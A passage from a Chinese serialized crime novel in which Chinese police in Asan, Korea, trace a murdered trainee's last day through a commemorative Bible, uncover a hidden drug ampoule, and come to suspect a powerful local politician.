说着,朴尚恩就带着她们往圣堂的管理处行去,恰好路上碰上了一位修女,朴尚恩上前与对方打招呼,说明来意。对方很客气,立刻便带着众人去了档案室。 这位修女恰好就是圣堂的管理人员,她在办公室的文件柜里找出一本厚厚的档案夹,翻找2012年时的活动记录。 很快,结果出来了,2012年5月,圣堂没有组织过植树,但是当月全月都在为5月27日的圣神降临节而做准备。圣神降临节在每年复活节后第50日,又称“五旬节”,是天主教四大瞻礼之一,地位仅次于复活节。 当年,圣堂有委托礼品公司来布置圣堂祭台,制作手工艺品——七恩的象征、火焰与鸽形的结合,以及与圣经故事的融合。 并且,圣堂委托的确实正是商店街上的那家礼品公司,这家公司与圣堂已经是多年合作的关系了。 “老秦,你查这个做什么?这和我们的案子有关系吗?”章弥真很迷惑。 秦梓需说出了她的推测:“从李芝华的宿舍望出去,最显眼的建筑就是贡税里圣堂,而她每次出去喂猫的必经之地就是那条商店街,也必定会路过那家礼品公司。我觉得她在案发之前,可能去了一趟圣堂。” 随即她就向修女确认2012年5月22日时,礼品公司是否派人来过圣堂。 修女直言5月末那段时间,礼品公司确实派了不少人来布置现场,但具体有哪些人实在是没有详细记录。秦梓需把李芝华的照片亮给对方看,对方也没什么印象。 不过修女给出了一条关键信息,当时圣堂向前来帮忙布置圣堂的所有工作人员发放了礼品。 那是一本用定制木匣封装的《圣经》,木匣表面刻有“贡税里圣堂2012年圣神降临节纪念版”的字样,并配有火焰和飞鸽装饰纹样。这是圣堂专门找木工厂定制的,总共200套。 第89章 第八十九章 “李芝华的遗物之中,好像并没有见到过那个木盒子圣经?”章弥真回忆着卷宗里的内容道。 “对,她那天出门带回来的东西全都不见了,应该都被处理掉了。”秦梓需道。 “那我们该如何确认她是否来过贡税里圣堂呢?就算确认了,又能如何?”章弥真还是不大理解秦梓需的意图。 秦梓需道:“你回忆一下她那天背着的包,那是一个女式的皮革双肩包,容量很小,根本放不下木盒子圣经,她必定是要用袋子把圣经兜在手里的。我有一个判断,根据一般人的行为逻辑,如果你出门要去做某件事,打算顺道买点东西回去,你是会在去的路上就买,还是做完事后在回来的路上再买?” “那要看我要买什么了,如果来回的路途都一样,或者我要买的东西哪哪儿都有,那我肯定办完事回去的路上再买,不然手上多拿一件东西,挺碍事的。”章弥真道。 秦梓需笑了:“就是这个逻辑,我认为李芝华的那些床单被套都是回去的路上买的,她出门时只背了一个双肩包,手里并没有袋子。如果她来了圣堂,拿到了木盒子圣经,她没有袋子可以装,就只能拿在手中。这会让她显得比较引人瞩目。 “而如果她的身边人恰好有拎袋子,或者背包富余,她有可能会把木盒子圣经放到对方的包里。不论是哪一种,这两人都会很显眼,因为他们身上带着很多东西,尤其是野炊用具。” “哦,我懂了,你是说这两人在圣堂做事之后,去野炊了,所谓的野炊就是在野外煮火锅吃?”章弥真道。 秦梓需道:“对,那顿火锅很有可能就是在野外吃的,那个年代牙山地区估计没什么中式火锅店,如果有,出了这么大案子,当年闹得整个牙山人尽皆知,火锅店老板不可能没意识到李芝华是在自己店里吃的火锅,媒体也不大可能放过火锅店老板。所以大概率这顿火锅就是在野外吃的。 “而且火锅的食材、包括锅具和餐具都是那个未知的人带过去的,李芝华什么也没带,很可能她事先并不知道对方要约自己野炊吃火锅。” 秦梓需随即问一旁的朴尚恩:“朴警官,这山坡顶上是不是有野炊营地?” “有的,沿着海岸线的小山包都是观光带,上面有野炊和观海的营地。”朴尚恩道。 “好,那我们这就往上去。” 一行三人出了贡税里圣堂,上车,沿着坡子向上开。沿途已经能看到不少背包客正在沿着观光带一路漫行。海岸线在车子的左侧绵延起伏,碧蓝的海水流入牙山湾狭窄的湾道,极目远眺,能看到远处港口的吊机在繁忙运作。 “不对啊,那天李芝华不是出门寄文件盒去的吗?她背的包那么小,装不下木盒子圣经,也装不下文件盒啊,她怎么是空着手出的门?”章弥真突然反应过来,扑到秦梓需的副驾座位边问道。 秦梓需道:“这说明文件盒当时不在她手里,具体在哪里不好说,但很有可能已经寄出去了。最有可能就在前一天的晚上,那天李芝华的床被搞得一团糟,她一晚上都和许晓芸在一起。” 章弥真忽然懂了:“你是不是在怀疑许晓芸?” “对,按照当时李芝华的人际关系情况,她的嫌疑非常大。”秦梓需道。 “等一下,案发当天许晓芸在干什么?她不是在上班吗?”章弥真仔细回忆卷宗之中的口供和不在场证明调查部分。 “对,打卡时间很准确,但也仅限于此。”秦梓需把自己拍下的卷宗内关于这一部分的内容递给章弥真看。 章弥真看到了打卡记录显示的时间,5月22日上午8:30进入工厂,下午18:30打卡离开,且工厂内有好几个人都说看到她在工位上工作。 不过并无相应的监控录像可以明确证明。 “她的不在场证明有可能是伪造的,有人帮她伪造的。”秦梓需道。 “啊?谁?”章弥真惊了。 “李浩贤,牙山工厂会长的儿子。他是管理人事的,打卡记录也是他在管。”秦梓需道。 这话不仅惊呆了章弥真,也让一旁开车的朴尚恩瞪大了眼睛。 “为什么?许晓芸不是被他给强了吗?”章弥真感到不理解。 秦梓需默了片刻,道:“人与人的差别,有时候堪比云泥。某些观念上的行差踏错,就会造成截然不同的人生选择。当然这目前只是我的推测,没有任何证据支撑,但愿是我想错了。” 她说得有些隐晦,但章弥真懂了,她觉得异常地难过。 她深吸一口气,尽量摒除感情,单纯理性思索道:“我捋一捋,事情是不是这样的:5月21日宿舍舍友刻意点燃李芝华的蚊帐,又往她床上泼水,让李芝华担心文件盒放在宿舍不安全。于是她当天把床单被套晾在阳台上,带着文件盒去了许晓芸的宿舍住下。 “许晓芸的宿舍里住多少人?她是和李芝华挤一张床吗?” 秦梓需道:“许晓芸住在608,住满了。我之所以认为她们俩并不是22日早上去寄东西的,而是21日的傍晚时分是有依据的。 “这是小金刚刚发给我的监控,21日傍晚她俩在18:47一同出了门,这一段监控还保留着未被篡改。到了19:21分,李芝华独自回了宿舍,许晓芸却是在21:17分才回来,回来时是空着手的。” 她调出一段视频播放给章弥真看,视频上,两个女孩确实同时出了门,而且李芝华的手里还抱着一个帆布包。但不同时间段回来的两个人手里都没有任何东西。 章弥真道:“所以,文件盒是21日傍晚寄出去的,随后许晓芸不知为何没有和李芝华一起回宿舍,在外逗留了2个多小时才回来。这段时间,她是不是去购买第二天要野炊用的东西了?” “很有可能,但也许不止如此。”秦梓需道。 “如果她买了,她却是空着手回来的,这说明她把东西都寄存到某个地方去了?”章弥真道。 “嗯,是这样。但也有可能东西压根不是她准备的,而是别的什么人,比如李浩贤。”秦梓需点头。 此时,车子已经停下了。她们已经抵达了海滨步道的入口,三人下车,章弥真甩上车门,和秦梓需并肩走上步道: “李浩贤……你的意思是,李浩贤指使许晓芸把李芝华约到海滨步道这里来,还专门准备了火锅,这是要干啥?下药迷/奸?” “他很有可能存了这个心,但事态的发展没能如他的意。”秦梓需道。 朴尚恩道:“二位,等一下,你们这是把李浩贤直接当成罪犯来看待了吗?他现在是牙山最年轻的议员,你们这样……我们真的很困扰。” “只是推测,不必紧张。”秦梓需淡淡一笑。朴尚恩似乎不大能接受,长叹一声,心情明显低落下去。 “你说没能如他的意,是指许晓芸没听他的?”章弥真问。 “对。” 三人穿过步道,来到一片宽阔的草坪空地,这里摆放着数排混凝土仿圆木的桌凳,桌子里中央挖空,可以烧炭。 而今日虽然不是休息日,这会儿也不是饭点,营地也已经满客了,空气中弥漫着碳火烟熏和烧烤食物的香气。 不远处还有一幢小木屋,挂着营地管理的牌子。 三人上前细看,这营地提供木炭,但要花钱买,也有卡式炉出租。坐在这里烧烤,因着丘陵几十米高的海拔优势,能清晰地看到远处碧蓝绝美的牙山湾,确实是个休闲的好去处。 木屋里,一个膀大腰圆的中年韩国女人从窗口探出头来,对秦梓需等人说了一番话。 经朴尚恩翻译,原来这位韩国大婶是在问她们是不是要烧烤,在招揽生意。 秦梓需见这位大婶面善,且是个开朗热络的性子,便上前取出手机,调出李芝华和许晓芸的照片给这位韩国大婶看,问到: “8年前,2012年的5月22日,您有见过这两个女孩到这里来吗?她们吃了火锅。” 章弥真本以为大婶会说不认识,却没想到她指着照片大喊道: “咦,这两个姑娘我知道啊,中国人,我没吃过中国的火锅,她们还请我吃的呢。而且她人还特别好,送了我一本限量版的圣经。后来听说这个姑娘当天下午就死了,我看到新闻真是觉得不可置信,诶,一切都是圣神的安排,她蒙召回归主的身边去了。” 秦梓需浑身颤栗,立刻确认:“您确定是这两个姑娘没错?” “不会有错的,她送我的圣经,我还供在家里呢。”大婶很笃定。 朴尚恩道:“8年过去了您还记得这么清楚?” “诶,你别小看我。我认人很快,能记很久的。这两个姑娘我更是印象深刻,不会忘。她们租了卡式炉,自带了一个煮锅和食材,用了中国的火锅料,那火锅料还挺辣的,对韩国人来说也很辣。”大婶道。 “她为什么会送您圣经?”章弥真问。 “我是教徒嘛。”大婶从脖子里拽出十字架挂坠道,“我看到她们兜在袋子里的限量版圣经了,一时没忍住想借来看看。她看我喜欢,就送我了。” “就给了您一本,是谁给您的?” “就是这个姑娘啊。”大婶指着李芝华的照片道。 “我们是警察,正在调查她的案子。我们能带走那本圣经回去调查嘛?等调查结束会还给您的。”秦梓需道。 大婶明显有些不大愿意,但最后还是答应了:“不好意思啊,我现在走不开,我叫个人过来代班,然后带你们去我家。” “老秦,你真是神了!真的让你找到了。”章弥真赞道。 “要相信常识和人的行为惯性。”秦梓需笑道。 她们等了好一会儿,终于有个年轻男子急匆匆赶来。这人原来是这位大婶的儿子,他不情不愿地套上围裙,顶替了老妈的岗位。 随即大婶骑上摩托,朴尚恩开车带着秦梓需、章弥真跟着去了她家。她们离开了海湾地带,不一会儿进入了一片略显老旧的住宅区,朴尚恩有些惊讶: “这大婶和我家住得很近啊。” “是吗?”秦梓需反问。 朴尚恩打开了话匣子:“这里是老厂房区,当年很多汽车零配件小厂都在这里集中,这两年陆陆续续倒闭了大半。很多人不得不另谋出路搬走了,然后有陆陆续续搬来许多外地人,这位大婶可能就是外地来的。我以前认识这里的每一个人,现在很多人我都面生得很。” 大婶在一幢公寓楼前停车了,朴尚恩也靠边停车。一行三人下车,随着大婶上楼。爬了五楼,大婶家终于到了。她气喘吁吁地开门进屋,进门要脱鞋上木地板,三人都没好意思进去,只是站在门口。 好在那本圣经就放在家里最显眼的位置——客厅电视墙边,紧挨着电视摆放着一张高脚桌,上头铺着红桌布,用亚克力板做了个展示架,圣经就摆放在其上。后头还挂着耶稣像。 大婶恋恋不舍地将圣经取了过来,问了好几遍究竟什么时候能还给她。最后还是朴尚恩承诺三周后就能拿到,并把自己的联系方式留给对方,大婶才肯放她们离去。 在楼道里,秦梓需就迫不及待戴上手套,小心打开木匣子,查看内里的圣经。大婶很爱惜,保存状态完好。就是不知道大婶有没有擦过木匣子,但愿上面还能找到指纹。 秦梓需用随身携带的最大号证物袋将这个木匣子圣经装了,下楼到车边,让朴尚恩赶紧开车把这个木匣子送去牙山医院病理科,交给郑老做生物痕迹检测。 “我俩不上车吗?”站在车边,章弥真一脸迷惑。 “你不是晚上还有饭局吗?这会儿不早了,在哪吃饭,我们俩一会儿打个车过去。”秦梓需道。 她不提醒,章弥真居然差点忘了还有这茬。她一拍脑门,然后拿出手机查看了一下何天佑发给她的定位。 “一个米其林2星餐厅,在这个位置。”她双指放大了地图。 朴尚恩道:“啊,这地方我正好回医院会路过的,没事,我捎你们一程,上车吧。” 第90章 第九十章 日暮,牙山湾天边红日低垂,火红云霞灿烧漫天,若红绫披挂在金灿灿的海面上,壮丽灼目。 章弥真在餐厅门口下车,秦梓需也跟着下车,摇手向章弥真挥别。 “你回去吧,办你的案子去,别在这傻等。”章弥真道。 秦梓需只是笑笑,道:“你什么时候结束,给我个消息,我来接你。” 章弥真抿了抿唇,似是欲言又止,但最后只是叹口气道:“我知道了,你找个地方休息吃饭,等我消息,不会太久的。” 随即转身,步入装修精美的高档餐厅之中。她今日一身休闲装,完全没有梳妆打扮,门童倒也没为难她,她就这样大剌剌进了餐厅。 秦梓需回身,看朴尚恩还没走,敲了敲副驾的车窗。 “秦警官,你接下来去哪儿?要不跟我一起回医院?”朴尚恩放下车窗,探身过来问她。 湳枫“不,我就在这附近转转,你回去吧。”秦梓需道。 “那我先回去了,您要是想吃晚饭,那里有家三明治咖啡还不错,环境很好,可以看海景,也能看到米其林餐厅这里。”朴尚恩指了指斜对面的路口拐角处的一家二层咖啡小馆道。 “好,谢谢推荐。”秦梓需和气道。 “那我一会儿送完东西,就来找您。”朴尚恩道。 秦梓需愣了一下,刚想问她为什么还回来找自己,朴尚恩就已经急急忙忙开车走了。有一辆玛莎拉蒂跑车正在等她让出临时停车位下客。 这里往来都是豪车,出入皆为贵宾。朴尚恩开着的车虽然没有明确的警车标识,但也只是一辆普通的商务车,在这儿和豪车抢停车位未免有些扎眼。 秦梓需看了下手表,快到19:00了,腹内空空,确实饿了。刚打算转身去那家咖啡小馆,一抬头,看到那辆玛莎拉蒂跑车上下来了一位西装革履的年轻男人,皮鞋锃亮,剪裁得体的休闲西装像是长在他锻炼过的壮实高大的身躯上,身材相当好。 西服胸口别着一个金属徽章,瞧着像是十字架,但又不完全是。 这男人长相一般,眉眼狭长,颧骨突出,仍然有着典型的韩国人特征。 他身侧跟着一位靓丽的女伴,穿着漂亮的晩礼服裙,精致的锁骨上搭着价值不菲的钻石细链。 这两人挽着手从秦梓需身边目不斜视地路过,进入了餐厅。秦梓需举起手机,做了个环抱双臂的动作,并同时摁下快门,快速且不惹人瞩目地抓拍了一张那个年轻男人的照片,同时记下了那辆玛莎拉蒂的车牌号。 她随即给朴尚恩发了个语音消息:“朴警官,你有李浩贤的照片吗?发我看看。” 发完消息,她就去了那家咖啡小馆,点完餐,她落座二楼靠窗的位置,盯住了米其林餐厅入口。一边慢悠悠地吃东西,一边把自己刚才抓拍的男人照片和车牌号、车品牌发给了章弥真,并补了一句: 【你若方便,帮我盯着这个人。他刚进餐厅。】 不一会儿,章弥真给她发了个问号,大概是没理解秦梓需要干什么。秦梓需还没回,手机上就来了朴尚恩的回复。她不大会用汉语输入法,所以是发的语音: “您稍等,我在开车,一会儿找来发给您。” 秦梓需打字回复章弥真:【那人可能是李浩贤,你可以向何天佑确认一下,若不是就算了。】 发过去后,章弥真好长时间没回复,秦梓需也不着急,依旧慢条斯理地吃东西。同时在已经可以安全使用的蓝信群里把下午查到的新进展汇报给大家知晓。 得知李芝华和许晓芸去过海滨步道后,小金立刻着手去查监控记录。虽然已经8年过去了,但是韩国警方的数据库里仍然保存有一些关键路段的监控录像,这些录像都关乎一些严重车祸,小金希冀能找到5月22日当天海滨步道的录像内容。 待到秦梓需吃完了三明治,咖啡也见了底,朴尚恩的消息来了。一张李浩贤的清晰正面照,让秦梓需确认刚才那个男人正是李浩贤。 秦梓需于是立刻给章弥真发消息:【已确认那人就是李浩贤,注意一下他的动向,低调,不要打草惊蛇。】 她没想到章弥真直接给她来电话了,于是立刻接起: “他去了包厢,我看不到他在里面做什么。你让我盯着他做什么?难不成你打算查他?咱们在这里没有执法权的。” “你方便打电话?”秦梓需不答反问。 “我在女厕所给你打的电话。”章弥真道。 “行,看不到他做什么就算了,我是想让你看看他有没有给人下药的动作,我怕他今天的那个女伴可能会有危险。”秦梓需道。 章弥真道:“我问了何天佑,他说那个女的就是他现在的女友,而且是千金大小姐,身份尊贵。你多虑了,现在他身份不一般,在这种场合估计会更加谨言慎行。” “嗯,抱歉,打搅你吃饭了。”秦梓需道。 “没事,多亏你打岔,不然我又得跟何天佑吵起来。”章弥真的语气显得很无奈。 秦梓需笑了:“你俩这么聊不来,看来饭局很快就要结束了。” “要不是为了帮你问案子,我一分钟也不想在这里多待。我打算上完厕所就去跟他saygoodbye。你还在这附近吗,我去找你?”章弥真道。 “我在对面街口的咖啡馆里,二楼。”秦梓需道。 “好嘞,我马上来。你帮我点吃的,我啥也没吃,快饿死了。”章弥真说完就风风火火挂了电话。 秦梓需下楼补点了一份餐,委托服务员送上楼,她自己立刻回到了楼上继续盯着餐厅门口。 5分钟后,餐来了,同时秦梓需先看到了章弥真从餐厅出来,手里提着一个像是装奢侈饰品的纸袋子,向着自己身处的方向快速跑来。 章弥真离开后没多久,她就看到了何天佑大阔步地出了门,似是相当生气的模样。他上了一辆停在路边的蓝色保时捷卡宴,这是他的车。 他没有急着发车,从秦梓需的角度,能看到他坐在车里打电话。 这个时候,章弥真已经气喘吁吁地跑上楼来了,她一眼就看到了秦梓需,立刻坐了过来。 “真无语,饿死我了,东西我一口没吃。”她抱怨着,把纸袋子放在一旁。秦梓需已经把三明治和热可可推到了她跟前。 “没吃东西,那你喝了什么吗?”秦梓需问。 “喝了点白葡萄酒,就抿了一口。”章弥真道。 “没感觉到不妥?” “啊?什么不妥,我不至于酒量那么差。” “他居然没给你下药……” 章弥真正端着杯子喝热可可,闻言差点呛到:“啥?谁下药,何天佑吗?” “你看。”秦梓需指着远处的卡宴,此时的神情变得十分凝重,“我们完全低估了此次调查的风险。” 章弥真看到何天佑的那辆保时捷卡宴还停在原位,但他车后一辆黑色的轿车上下来四个壮汉,过来在他的车窗边跟他说了什么。随后何天佑就被迫下了车,上了那四个壮汉的车。 “我靠……”章弥真浑身的鸡皮疙瘩都起来了。 “幸亏我一直在这里盯着,你要是不小心中招了,恐怕凶多吉少。” “他们怎么敢动中国来的调查组的?何天佑难道是有什么把柄在他们手里?这家伙一直以来都骨头软,会被人控制确实不奇怪,但他做不出来害人的事,他没那个胆量。”章弥真道。 秦梓需道:“可以肯定的是何天佑会这么积极主动地来找你,不是因为想和你旧情复燃,而是带着任务的。即便不是要下药害你,也是要从你嘴里套出调查组调查的进展,回报给他的上峰。这事儿铁定与李浩贤有关,他今晚会出现在这里,绝对不是巧合。” 章弥真恍然道:“我明白了,全明白了。怪不得……我说何天佑为什么一直那么焦躁的感觉,我不理他的时候他一副要吃了我的模样,但又一直强压着不敢爆发怒火。他明明对我早就没感觉了,却还是拼命死缠烂打,我就一直没搞懂他在想什么。” “按道理讲,如果他牵涉到李浩贤的犯罪中,被人身控制。恐怕他在我们跟前刻意提及许晓芸就不单纯是提供线索了,更是一种隐晦的求救。”秦梓需道。 过了好几分钟,何天佑终于得以从那辆黑车上下来,黑车随即便开走了。何天佑在原地站了一会儿,隔着老远都能看到他脸上挂彩了,接着他上了自己的车,也同样开走了。 “这家伙到底干了什么,怎么就落人把柄了。”章弥真神情复杂地看着这一幕。 “这是他送你的?”秦梓需指着那个奢侈品纸袋子道。 “倒也不是什么值钱的东西,这个袋子是餐厅的袋子,他买了一瓶香槟,非要送给我,说记得我爱喝。我拒绝了好几次他非要塞给我,我就收下了。” 章弥真把纸袋子打开,从其中抽出一个长条状盒子,打开后,里面确实躺着一瓶香槟。 秦梓需发现纸盒子下的衬垫并不平整,她戴上手套,揭开衬垫,一个安剖瓶映入眼帘,瓶内装有无色的透明液体。这瓶子不过拇指大小,十分袖珍。 秦梓需将这个安剖瓶拿起,对着灯光看了一下,随即取出一个小证物袋,将其装进去,然后小心塞进了自己的腰包内壁口袋。 “这是啥?”章弥真惊问。 “不知道,得回去化验一下才知道。但我猜可能是原本要用来迷晕你的药剂。安剖瓶的瓶口可以徒手掰开,下药相当隐蔽方便。”秦梓需道。 “我真是受够了……李浩贤,可以,我记住他了。不弄死他,姑奶奶我这么多年都白混了。”尽管章弥真说这句话时语气很冷静,但她的愤怒却已然出离难抑了。 秦梓需没说话,她完全理解章弥真此刻的愤怒情绪,她也一样,胸中燃烧着熊熊怒火。本不想与本地地头蛇为敌,但对方都欺负到头上来了,身为中国公安,岂能不应战? 该死的无耻狂徒,就算他在本地势力盘根错节,也要让他知道什么是踢到铁板! 这时,秦梓需的手机来消息了,是朴尚恩发了语音消息:“秦老师,你还在那家咖啡馆里吗?我把圣经送到警署了,现在已经开回来了。” “我在,你上来吧,我有些事想问你。”秦梓需回道。 几分钟后,朴尚恩坐到了秦梓需和章弥真中间。她显得有些不安,但更多的是困惑,因为她已经敏锐地感觉出左右两个人的情绪不大对。 不过秦梓需的语气还是十分温和:“我们之前推测李浩贤犯案的可能性,你似乎对此有些不能接受,我很好奇原因是什么?” 朴尚恩有些局促,但踌躇了片刻,她还是解释道: “他要参加不久后的忠清南道议员选举。这两年全球的经济都不好,牙山工厂效益连年下降,开始亏损,去年还一度关停。像我家里这样靠着给工厂配货的零件商日子都很艰难。我爸爸为了维持经营,已经累坏了身体,现在还要支出大笔医药费。 “李浩贤议员本身就是牙山工厂出身,他会代表牙山这里的利益去道内竞选,为我们争取更多政策倾斜。 “你不是问我为什么中文说得这么好吗?不是因为我们有中国员工,而是我想帮爸爸拉到中国客户,所以下了苦功夫去学的。我还专门去过大连读书。现在我们家相当一部分的收入都来自中国的订单,而不是牙山工厂。我会当警察,也是因为我爸爸跟我说干这份工作至少不会有失业的风险,不会被家里连累……” 说到这里,女警朴尚恩的眼圈红了。【你现在阅读的是 】 90-100 第91章 第九十一章 “这个人强J女性,为了掩盖自己的罪行,不惜对我们这些从中国来的警察动手。你指望这样一个人为你们谋取利益,你觉得有可能吗?”秦梓需反问朴尚恩。她的话不加掩饰,残酷而冰冷,但却直击要害。 朴尚恩攥紧了双拳,她彷徨无助,最后只是道:“我不知道。我只知道我们的希望不多,不指望他,我们也不知道该指望谁。” 秦梓需道:“指望你们自己更靠谱。中国有句老话,叫‘胜人者有力,自胜者强。’意思是,你能战胜别人,只能说明你有力量。但能克服自己弱点的人,才是真正的强者。天行健君子以自强不息,在我看来你品性很好,不该倚靠小人,小人不仅不会给你们带来利益,反而会借势损害你们的利益。千万别助纣为虐。” 朴尚恩眸光闪烁,但最后终于还是长叹一声:“说实在的,我也很鄙视李浩贤,他祸害了好多女孩,我恨不能早点把他抓起来。可…他父亲李玄闵现在已经是首尔总部的高管,他姐姐嫁给了执政党高官的儿子,全家在政商界的人脉很广,根深蒂固。他在这里真的只手遮天,我们斗不过他,还都得仰仗他。” “这种人物,敌人应该很多吧。”章弥真笑了。 “嗯,他性格张扬跋扈,最近几年倒是收敛许多,前两年真的是……你们的意思是?”朴尚恩突然懂了章弥真的意思。 “我们是外来者,是来查案的,现在出了个拦路虎,我们只是疏通道路,没打算搞什么长期斗争。所以,我们只是撬棍,动力气的得是你们本地的势力。接下来咱们要做的就是先把撬棍一头扎到拦路虎的肚子底下。”章弥真解释道。 “那我该做什么呢?”朴尚恩问。 “你做好你的本职工作就行,不必特意去做什么。”秦梓需笑了,“只有一点,如果你能给我们一些李浩贤的资料,尤其是他的一些私人信息,比如喜好、爱出入哪些场所之类的,那就更好了。” “这些资料可以弄到,我有一个朋友就在他的竞选委员会里工作,能搞到他的一些私人资料。但我朋友也要为此担风险,丢工作。”朴尚恩道。 章弥真道:“你朋友的工作我来解决,不就是拉生意给你们嘛,这事儿包在我身上了。你不知道姐姐我的能量,只要你们有心和中国做生意,绝对不愁客源,和气生财嘛。” 朴尚恩被她这么大的口气惊到了,但她听说章弥真是中国国内有名的大记者,想必人脉广博。她顿时心生希望,总算展开笑颜。 秦梓需苦笑了一下,章弥真来一趟韩国,这是揽了多少人情债,到时还起来可就难了。她给上了最后一道保险: “让你朋友小心行事,千万别叫人发现了。这样没人知道他做了什么,就还有转圜余地。” “好,谢谢你们。给我点时间,应该很快会有消息。”朴尚恩点头。 …… 今日发生的插曲,显然成为了专案组的新课题。 秦梓需、章弥真联系了一下郑有为,得知谢云卿、郑老、小金和邹天都还在上午她们造访的医院法医实验室之中。郑老还在法医中心加班搞检材。 谢云卿通知她们晚上9点有个视频会,于是秦梓需让朴尚恩干脆开车把她们送去医院。 车子刚开到医院门口,她们就看到了正站在大门外一边抽烟,一边等她们的邹天。 邹天在灭烟盘里掐灭了烟头,道:“你们可算回来了,正好赶上和国内的视频会议,赶紧的跟我去找谢支。” 他说着就掐灭了烟头,往医院内部行去。 秦梓需、章弥真跟上,前者问道: “国内有新消息了?” “估计不是什么好消息,是不好的消息。我看谢支一直拉着个脸。”邹天道。 这下秦梓需、章弥真都有些心里没底了。不过秦梓需还是问了一下关于沙马俄木的事: “阿木那里回你消息了吗?” “哦,我差点忘了。这小子说不记得了,要去找人查当年的派件记录。就刚刚才给我回复,说他确实在2012年的6月初给青竹坳中学派送过一个国际包裹,是韩国来的。” “你有没有问他包裹拿在手里是什么感觉?比如有没有发出零件散碎的声响,或者盒子里有什么东西哐啷哐啷的来回晃动?”秦梓需道。 “我倒是没问这么细,要不趁现在还有时间,我这就打电话问问?” 此时他们已经在等电梯,秦梓需让邹天现在就打电话。邹天立刻拨电话过去,等了没一会儿,沙马俄木接了。邹天立刻询问他包裹的手感,阿木回忆了半晌,道: “印象很模糊,但确实没觉得有秦警官说的那种哐啷的感觉。那包裹好像挺轻的。” “包裹是寄给老校长的吗?”秦梓需凑到听筒旁问道。 “对,是给老校长的,那会儿老校长还没退休呢,大部分时间都待在学校里。”沙马俄木道。 “好,我们知道了,你再好好回忆回忆,有什么新想起来的,要赶紧联系我。”邹天叮嘱道。 电话挂断了,电梯也到了,三人走出电梯,踩着医院大理石铺就得走廊,往病理科室行去。 邹天疑惑道:“李芝华把包裹寄到了青竹坳中学,没寄到老校长家里,这是为什么?” 秦梓需道:“估计是老校长家里收包裹太扎眼了,怕村子里传闲话。老校长当时还在学校工作,送到学校反而更快。而且李芝华这姑娘很细心啊,她可能不打算惊动老校长的老伴儿陆奶奶。” “这倒是,唉……”邹天叹了口气。 “你怎么垂头丧气的?”章弥真觉得他状态不大对劲。 “我就是觉得……当年我没把这个案子查明白,觉得自己……对不起人家,憋屈!”邹天挠头。 “你查不明白的,这案子水太深了。当年国内公安把这个案子想得太简单了,这也是可以理解。”秦梓需安慰道。 一行三人推开了本就虚掩着的病理科室小会议室的房门,谢云卿和小金正并肩坐在房间的书桌后,面前摆放着她的平板电脑。见他们进来了,道: “锁好门,然后都过来,到我身后来开会。” “咦?郑老不在啊?”秦梓需环视了一圈问。 “郑老在实验室里忙着,抽不开身。”谢云卿解释道。 秦梓需道:“我去交给他一个东西,一会儿回来。” 秦梓需刚出门没两分钟,视讯会议就开始了,视频那头坐着的是公安部和省厅的领导,包括刘明城,还有外交部的干事、驻韩使馆的领事,众人心中一凛,顿感事情有些大条。 果不其然,上级领导要求他们把目前查到的案情,以及在韩国这里遭遇到的事详细汇报一遍。 谢云卿、章弥真先代为汇报,汇报到一半,秦梓需回来了,这个任务就交到她手上,她接着把一切事无巨细都说了。 上级领导在听闻此案涉及到韩国这里的司法舞弊、贪腐和职权滥用、组织□□、胁迫侵害研修生等一系列可能存在的复杂案情后,都十分震惊。 章弥真看气氛,感觉上头可能要压着他们,不让他们做事了。但令她没想到的是,发话的是公安部的领导: “这个案子你们要查,但要小心行事,注意保密。查到的案情暂不要与牙山警署分享,我们会联系首尔公安厅和检查厅说明情况,到时候会有更高层的人来与你们对接。在此期间,你们处境会比较危险,千万小心,外交部派了人去牙山接应你们,但会在暗处。你们如果遇到危险,立刻联络救援。” 领导给了承诺,上头的事有公安部和外交部斡旋,不用她们操心,她们只管查案,一定要查得明明白白。 这下众人顿时感到打了鸡血一般振奋。 “有您这句话,我就有底气了,您放心,这活儿我们一定干漂亮了。”谢云卿眸子发亮,说道。 领导们离线了,但刘明城的连线还在继续。 章弥真岔开去一句,问道:“这个会议室安全吗?咱们就在这里开会谈这些……” “你放心,开会前已经查过了,这里没有监听设备。”谢云卿道。 小金也顺便展示了一下她带来的宝贝——一套反窃听搜查设备。章弥真松了口气,她自从被邵彦华和邵紫涵阴谋窃听后,多多少少有些后遗症。 “你放心,咱们在这方面绝对是专业的。”视频那头的刘明城笑道,随即她和众人讲了一下这两天国内调查的进展: “首先是关于许晓芸,这个女孩确实有问题啊。我们找到了她父母。据他们的父母说,这个女孩2012年回国后,在家待业了大半年,到2013年突然开始参与一些非盈利组织的活动,搞垃圾回收和环保,还会去养老院、福利院做义工。当年年末因为机缘巧合开始接触一些宗教人士,和尚、道士都有。 “半年后,到2014年的年中,这个女孩和家里断绝了关系,报名了一个乡村支教的项目离开,就此和家里再也没有联系。我们联系了乡村支教的负责人,说她2015年就离职了,联系方式也断了。支教地点在川东乡村,负责人说不知道她离职后去了哪儿。现在连家里人都不知道她去哪儿了。 “我们查了,她的身份证最后一次使用还停留在2015年,她买了一趟从成都开往普洱的车票,登车地点在成都,下车地点不明。” 邹天第一个发出质疑:“啊?和父母断绝关系?怕不是假的吧,哪能说断绝就断绝啊,父母真的不去找吗?” 刘明城叹了口气道:“基本可以断定是真的,这夫妻俩近十年都没有离开住处远行过。我们还查了这夫妻俩近三年来的通话记录,包括通讯录联系人,没有找到任何她女儿的讯息。目前正在天网大数据匹配之中,要找到这个女孩,还得耗费不少工夫。” “成都……普洱……我建议你们围绕云南,尤其是药山镇附近仔细查查看。许晓芸有可能去过药山镇。”秦梓需道。 “哈哈,英雄所见略同。”刘明城笑了,“放心,已经在查了。对了,有个好消息,王永荷的情况有所好转,医生说她最近恢复得不错,思维也清晰许多了,想起了不少事儿来。虽然她想起来的都是过去的事,最近几年的事她还很糊涂,但相信不久就都能想起来了。” “太好了,终于有好消息了!”章弥真仰天长叹,秦梓需露出了欣慰的笑容。 刘明城继续道:“另外,关于梅凝隽的背景我们还在查,也有进展。那个王丽琴啥也不肯说,我就想她这么袒护梅凝隽,是不是她也有什么问题。我就挖她的背景,还真让我查出来点名堂。 “这个王丽琴是蚌埠人,她有个和她年岁差不离的小姨,嫁了个开餐馆的暴发户。这个暴发户在十多年前是个狗场的养殖户,这个养殖生意传了三代人,到他这里终结。据说零几年的时候,这暴发户不知道突然哪儿拿到了一笔丰厚的资金,把狗场卖了,开始做起餐饮生意,越做越红火。” “我觉得这个狗场很不寻常,目前正在查,也许梅凝隽和这个狗场有关系。” “蚌埠……嘶……”秦梓需呢喃着这个城市名,倒吸一口凉气。 “咋了老秦?”章弥真问她。 “我好像突然明白陈老师被害的原因了。”秦梓需道。 第92章 第九十二章 